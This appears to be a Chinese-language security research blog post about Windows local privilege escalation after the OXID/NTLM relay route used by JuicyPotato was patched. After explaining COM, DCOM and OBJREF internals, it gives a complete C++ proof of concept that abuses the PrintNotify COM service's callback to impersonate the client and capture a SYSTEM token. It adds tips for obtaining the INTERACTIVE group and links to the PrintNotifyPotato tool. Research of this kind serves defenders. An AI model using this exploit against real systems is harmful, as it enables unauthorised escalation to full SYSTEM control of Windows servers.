自从Window10 1803/Server2016及以上打了微软的补丁之后,基于OXID 反射NTLM提权已经失效了,代表作如JuicyPotato、SweetPotato,
本文将从COM开发与调用开始,寻找替代OXID 反射NTLM提权的方法
COM对象即“组件对象模型”,是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则,用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。
COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。通常情况下,一个COM对象由两部分组成:一个接口(Interface)和一个实现(Implementation)。接口定义了该对象的功能和行为,实现则实现了接口的具体功能。
COM对象的优点在于它具有跨语言、跨平台的特性,使得不同语言、不同平台的程序能够相互调用和协作。另外,COM对象的接口和实现分离的设计方式,使得它能够更好地支持多态和继承。
总之,COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成,接口定义了对象的功能和行为,实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性,使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。
COM(组件对象模型)是一种用于在不同软件组件之间进行通信的技术,它提供了一种方法,允许开发人员创建可以在多个软件组件之间共享的对象,从而提高了软件开发的灵活性和可重用性。
DCOM(分布式组件对象模型)是一种在网络上运行的分布式技术,它扩展了COM的功能,使得可以在不同的计算机之间进行通信和交互。
因此,COM是在客户端计算机的本地级别执行的,而DCOM则是在服务器端运行的。这意味着,DCOM比COM更具有分布式特性,可以在不同的计算机之间进行通信和交互。此外,DCOM还可以为远程组件提供安全性和访问控制,从而提高了系统的安全性。
DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制,如身份验证和授权,来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件,从而提高了系统的安全性。
另外,DCOM还支持跨网络的通信,即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序,提高了系统的可用性和可扩展性。
总之,DCOM是一种扩展了COM的技术,用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制,并支持跨网络的通信,可以更好地支持分布式应用程序。
在DCOM中,OBJREF(对象引用)是一个重要的概念。它表示一个远程对象的引用,用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。
OXID(对象交互标识符)是OBJREF中的一个重要部分,它表示一个远程对象的唯一标识符,用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成,用于指定该对象所在的计算机。
OID(对象标识符)也是OBJREF中的一个重要部分,它表示一个对象的唯一标识符,用于在单个计算机中识别该对象。OID通常由一个GUID组成,用于唯一标识一个对象。
IPID(对象接口标识符)也是OBJREF中的一个重要部分,它表示一个对象的接口的唯一标识符,用于在单个计算机中识别该接口。IPID通常由一个GUID组成,用于唯一标识一个接口。
在DCOM中,OBJREF是一个重要的概念,它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。在进行远程调用时,OBJREF用于传递对象的信息,从而实现对象的交互和通信。
JuicyPotato使用CoGetInstanceFromIStorage触发远程调用,CoGetInstanceFromIStorage是一个Windows API函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。
在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象,在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker
PointerMoniker指的是对象的引用,也就是说在调用CoGetInstanceFromIStorage时,COM服务会获取反序列化的Class类型,然后根据类型进行下一步反序列化。
然后JuicyPotato在IStorage MarshalInterface序列化对象时,写入了引用的对象,并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer
然后JuicyPotato会对来自COM Server的流量进行解析,解析出NTLM认证信息再通过AcceptSecurityContext获取Token。
但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。
当我们在调用COM方法时,有些方法可能要求我们提供一个IUnknown对象或者IDispatch,当COM Server去操作我们提供的IUnknown对象时,COM Serve会回调我们实现的对象,我们就可以通过CoImpersonateClient去模拟COM Server。
来自COM Server的调用我们实现的QueryInterface方法,我们可以在实现的QueryInterface方法模拟COM Server的权限
Demo
// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>#include "ole2.h"#include <comdef.h>#include <printerextension.h>#include <sddl.h>GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };class FakeObject : public IUnknown{LONG m_lRefCount;void TryImpersonate(){if (*m_ptoken == nullptr){HRESULT hr = CoImpersonateClient();if (SUCCEEDED(hr)){HANDLE hToken;if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)){PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);DWORD ret_len = 0;if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len)){LPWSTR sid_name;ConvertSidToStringSid(user->User.Sid, &sid_name);if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr)){*m_ptoken = hToken;RevertToSelf();}else{CloseHandle(hToken);}printf("Got Token: %p %ls\n", hToken, sid_name);LocalFree(sid_name);}else{printf("Error getting token user %d\n", GetLastError());}free(user);}else{printf("Error opening token %d\n", GetLastError());}}}}public:HANDLE* m_ptoken;//Constructor, DestructorFakeObject(HANDLE* ptoken) {m_lRefCount = 1;m_ptoken = ptoken;*m_ptoken = nullptr;}~FakeObject() {};//IUnknownHRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj){TryImpersonate();if (riid == __uuidof(IUnknown)){*ppvObj = this;}else if (riid == IID_FakeInterface){printf("Check for FakeInterface\n");*ppvObj = this;}else{*ppvObj = NULL;return E_NOINTERFACE;}AddRef();return NOERROR;}ULONG __stdcall AddRef(){TryImpersonate();return InterlockedIncrement(&m_lRefCount);}ULONG __stdcall Release(){TryImpersonate();// not thread safeULONG ulCount = InterlockedDecrement(&m_lRefCount);if (0 == ulCount){delete this;}return ulCount;}};int main(){// 初始化COM运行时CoInitialize(NULL);//初始化COM运行时上下文HRESULT hr;IMonikerPtr pFakeObj;HANDLE ptoken = NULL;FakeObject* fakeObject = new FakeObject(&ptoken);//CreatePointerMoniker(fakeObject, &pFakeObj);IUnknown* pPrintNotify = NULL;hr = CoCreateInstance(PrintNotifyGUID, NULL,CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));if (SUCCEEDED(hr)){IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);IEnumConnectionPoints* pIEnumConnectionPoints;hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);LPCONNECTIONPOINT pCONNECTIONPOINT;ULONG fetched;hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);DWORD cookie;hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);printf("Got Token At :%p\n", fakeObject->m_ptoken);}else{printf("CoCreateInstance fail hr: %d\n",hr);}std::cout << "Hello World!\n";return 0;}
回到我们的IIS服务器,我发现创建PrintNotify失败了?
它只允许以下用户组该怎么办?
通过查找我发现一个工具可以获取INTERACTIVE用户组,https://github.com/antonioCoco/RunasCs
在调用LogonUser方法时,lsasrv不会校验用户所有的权限和用户组,直接为当前Token添加INTERACTIVE组,然后剩下的工作照常运行,PrintNotifyPotato可以在Windows 2012-2022运行
https://github.com/BeichenDream/PrintNotifyPotato
http://code.google.com/p/google-security-research/issues/detail?id=128